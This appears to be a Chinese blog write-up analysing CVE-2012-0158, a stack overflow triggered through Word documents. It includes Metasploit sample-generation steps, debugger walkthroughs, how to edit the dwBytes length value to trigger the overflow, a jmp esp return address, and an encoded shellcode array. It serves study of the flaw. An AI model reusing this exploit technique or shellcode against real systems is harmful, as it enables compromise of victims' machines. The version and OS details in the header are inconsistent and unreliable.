发布于 

Office 漏洞

基本信息

软件名称 Office
软件版本 2.0
漏洞模块 Office.exe
模块版本 2.0.0.0
编译日期 2005-01-01
操作系统 Windows XP/2007
漏洞编号 CVE-2012-0158
危害等级 高危
漏洞类型 缓冲区溢出
威胁类型 远程

1.软件简介

Microsoft Word 2007 是office全家桶的一款产品,是电脑发展以来使用最广泛的 处理文本信息,编辑文档的一款软件。

2.样本获取

首先生成样本

Step1.msfconsole 打开控制面板

Step2->接着搜索漏洞编号,查找当前病毒样本,查看漏洞信息

然后查看漏洞信息

显示当前样本选项信息

接着我们使用set修改样本属性


set cmd calc

set Title Test

然后导出样本


exploit

接着copy 样本到根目录并且把样本复制到文件里面

弹出计算机

弹出了计算器,说明很有可能调用了API。

3.样本分析

首先猜测样本使用的API
CreateProcess

WinExec 导出模板是kernel32.dll 比较常用
system 导出模板是ucrtbase.dll word不一定常用
先使用attach附加进程Office Word
WinExec处下断点,看看有没有被调用


使用bl查看断点信息

点击继续后,使用k查看内存断点,启用内核调试会话

函数返回的地方已经变成了esp附近的值

找到程序的esp

函数返回的地方已经变成esp地方的值

栈回溯看看调用处是否像是ShellCode

使用Windbg尝试 会出现1-200的字符出错的问题

这时候我们使用x32dbg分析,x32dbg首先运行打断点,接着拖拽样本分析数据,分析数据之后查看堆栈信息 首先添加断点

断后在堆栈面板003037DC 的位置 按下回车,跳转到ShellCode

查看ShellCode寻找特殊字符,由于我们断点的位置是Winexec所以需要找到exec或者winexec这种字符串标识,进而进行下一步分析

使用Windbg分析的时候是往下的,都是00000000,所以往上滑动查看数据

十六进制未找到,试试Ascii搜索,附近的字符串和ShellCode都一样

4.定位漏洞原因

找到出问题的模板

由于POC已经将栈溢出,不好定位原因

看来栈里面还是能找到一些调用的信息的

ShellCode的样本已经崩溃,异常偏移不一定就是出错的位置,调试看看

查看堆栈信息是否能找到有用信息,

把距离JMP ESP 往上最近出现不同内容的位置开始删掉,观察样本运行情况(最小样本法)

调用堆栈得不到有效信息,看看栈里的数据有没有突破点,栈里面还是有一些调用信息的

下一步,只要将保存好的文档通过十六进制编辑器打开,定位到CObj对象的数据,修改偏移量为8的dwBytes值为大于8的数值就能触发漏洞。事实上只修改那一个值还无法看到漏洞触发的效果,原因是拷贝函数ReadBytesFromStreamPadded还会接着校验dwBytes的值,幸运的是该校验只是从要拷贝的数据头部读取另一个dwBytes的值,检验两个值是否相等,所以我们只需要把对象数据里的那个数值也修改成相应的大小就可以通过校验从而触发漏洞。

找到909090位置,注意使用Ascii码

使用Ascii码找到位置之后,修改一个值查看漏洞

然后另存为到桌面

拖到程序word里面触发溢出

可以看到程序栈溢出了,从而触发漏洞

最小样本法,通过删除jmp esp前几个字节,删除前几个字节 测试程序发现程序直接停止工作,说明这个方法是没问题的

发现程序崩溃了,接着使用OD和IDA定位

IDA和x32dbg定位漏洞
step1.使用x32dbg分析jmp esp位置
  1. 打开wordx32dbg

  1. 附加word然后打开POC

ctrl+g搜索WinExec

然后直接运行到WinExec位置!

  1. 查看栈内存,分析地址数据

查看反汇编数据大概能找到shellCode位置

  1. 往上滑动找到jmp esp

jmp esp 的地址如下:27583C30

step2.使用IDA查看栈溢出具体logic
  1. 转到jmp esp地址,查看栈的内存,分析规律

重新启动程序,发现断点会断在JMP Esp的位置,接下来查看栈的内存数据

堆栈的内存数据都包含一个固定的函数信息 mscomctl 这个函数,我们挨个分析

然后看到函数上方有两个相同的Call,这两个Call我们一会在分析,但是位置是对的,接下来获取模板

  1. 分析规律后查看日志,获取到模板

查看状态栏的日志

接下来我们找到模板数据,按照路径找到模板

找到模板之后使用IDA分析一下

  1. 使用IDA分析获取到的模板

打开IDA之后按G 查看跳转的地址,这两个Call的随机一个地址即可

我这里用的是第二个Call的地址275c8A05

跳转后 space + F5 查看c代码

查看外层函数,分析dwbytes怎么转化过来的

sub_275C876D()这个函数干了什么?我们用OD验证一下,找到bwBytes的位置

发现堆栈数据 [ebp-0xc]位8282

使用010Editor观察数据

由此说明,sub_275C876D()内部复制自己数据是可控的!可以自定义修改;

如上图,正因为从文件中读取字节为8282,8282>8 ,因此sub_275C876D()复制0x8282个字节导致栈溢出,从而可以执行任意代码。

5.利用过程

5.1 漏洞验证

使用漏洞程序验证,程序运行到断点处WinExec如下图:

此时栈顶为001D48FE,如下图

返回之后,执行ShellCode 弹出计算器,如下图

5.2 漏洞利用

由于在ret返回地址之后崩溃,未ret之前栈顶为溢出点,所以将程序中jmp esp的地址写入溢出点

获取到JMP ESP地址,将其填到POC溢出点位置进行测试

使用winDbg获取溢出点位置

获取到jmp esp位置后,打开Poc修改溢出点信息

6.POC

ShellCode


char bShellCode[] = "\x33\xC0" \

"\xE8\xFF\xFF\xFF\xFF" \

"\xC3" \

"\x58" \

"\x8D\x70\x1B" \

"\x33\xC9" \

"\x66\xB9\x45\x01" \

"\x8A\x04\x0E" \

"\x34\x07" \

"\x88\x04\x0E" \

"\xE2\xF6" \

"\x80\x34\x0E\x07" \

"\xFF\xE6" \

"\x67\x84\xEB\x27\xEC\x4A\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \

"\x75\x62\x74\x74\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42" \

"\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62" \

"\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75" \

"\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x50\x68\x75\x6B" \

"\x63\x26\x07\x52\x8C\xEB\x84\xEB\x0B\xEF\x07\x07\x07\x07\x5C\x8E" \

"\x5A\xFB\x63\x8C\x32\x37\x07\x07\x07\x8C\x71\x0B\x8C\x71\x1B\x8C" \

"\x31\x8C\x51\x0F\x8E\x52\xFF\x54\x55\xEF\x12\x07\x07\x07\x8C\xF7" \

"\x8A\x4C\xB1\x56\x55\xF8\xD7\x8C\x52\xFF\x54\x51\x57\x55\xEF\x69" \

"\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B" \

"\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D\x8E" \

"\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B" \

"\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C" \

"\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xAF\xBE\x09\x07\x07\x07" \

"\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52" \

"\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A\xC5\x0F" \

"\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xC2\x6D\x07\x6D" \

"\x07\x56\xF8\x52\x0B\x8A\x4C\xD7\x56\x57\xF8\x52\x17\x8E\x42\xFB" \

"\x8A\x4C\xDB\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C\xEF" \

"\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF\x8C\xE2" \

"\x5A\xC5\x17\x07\x07";

char bExp[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9";

溢出点
滑板指令

7.缓解措施

下载补丁,binDiff对比补丁前后的修复情况

8.结语

本次分析一方面了解了对于栈溢出漏洞的分析,都是通过栈回溯的方法找到漏洞函数。可在原栈顶内写断点。程序断下时,经常是在mov 与 rep movs等用于实现字符串复制的相关指令,再通过栈回溯或者函数交互引用定位漏洞函数地址

9.参考资料

[2]  林桠泉 《漏洞战争》